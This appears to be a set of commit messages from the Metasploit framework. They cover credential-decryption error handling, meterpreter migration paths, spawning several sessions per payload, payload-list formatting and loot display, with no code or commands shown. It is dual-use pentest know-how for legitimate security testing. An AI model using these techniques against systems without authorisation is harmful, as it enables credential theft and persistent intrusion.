Looks like for some reason if CryptUnprotectData fails, the decrypt_reg()
method will return "". And when you unpack "", you produce an array of nils.
Since you cannot add something to nil, this should cause an
"undefined method `+' for nil:NilClass" error.
This will check if we get an array of nils, we jump to the next iteration.
We use system %PATH% for notepad executable instead of the absolute
path, because it caused a problem with the migrate script in a 64-bit
meterpreter session. By default the wordpad binary is not in the
%PATH%, so the condition in hp_nnm_ovbuildpath_textfile.rb was not
changed.
* Period at the end of a description.
* Methods shouldn't be meth_name! unless the method is destructive.
* "Setup" is a noun, "set up" is a verb.
* Use the clunky post module naming convention.
Added support to specify multiple payload delivery options.

Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions.

Otherwise, things parsing through the loot table will treat it as binary
data, and not display it in a normal texty way, even though it's totally
readable with just a little squinting.
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
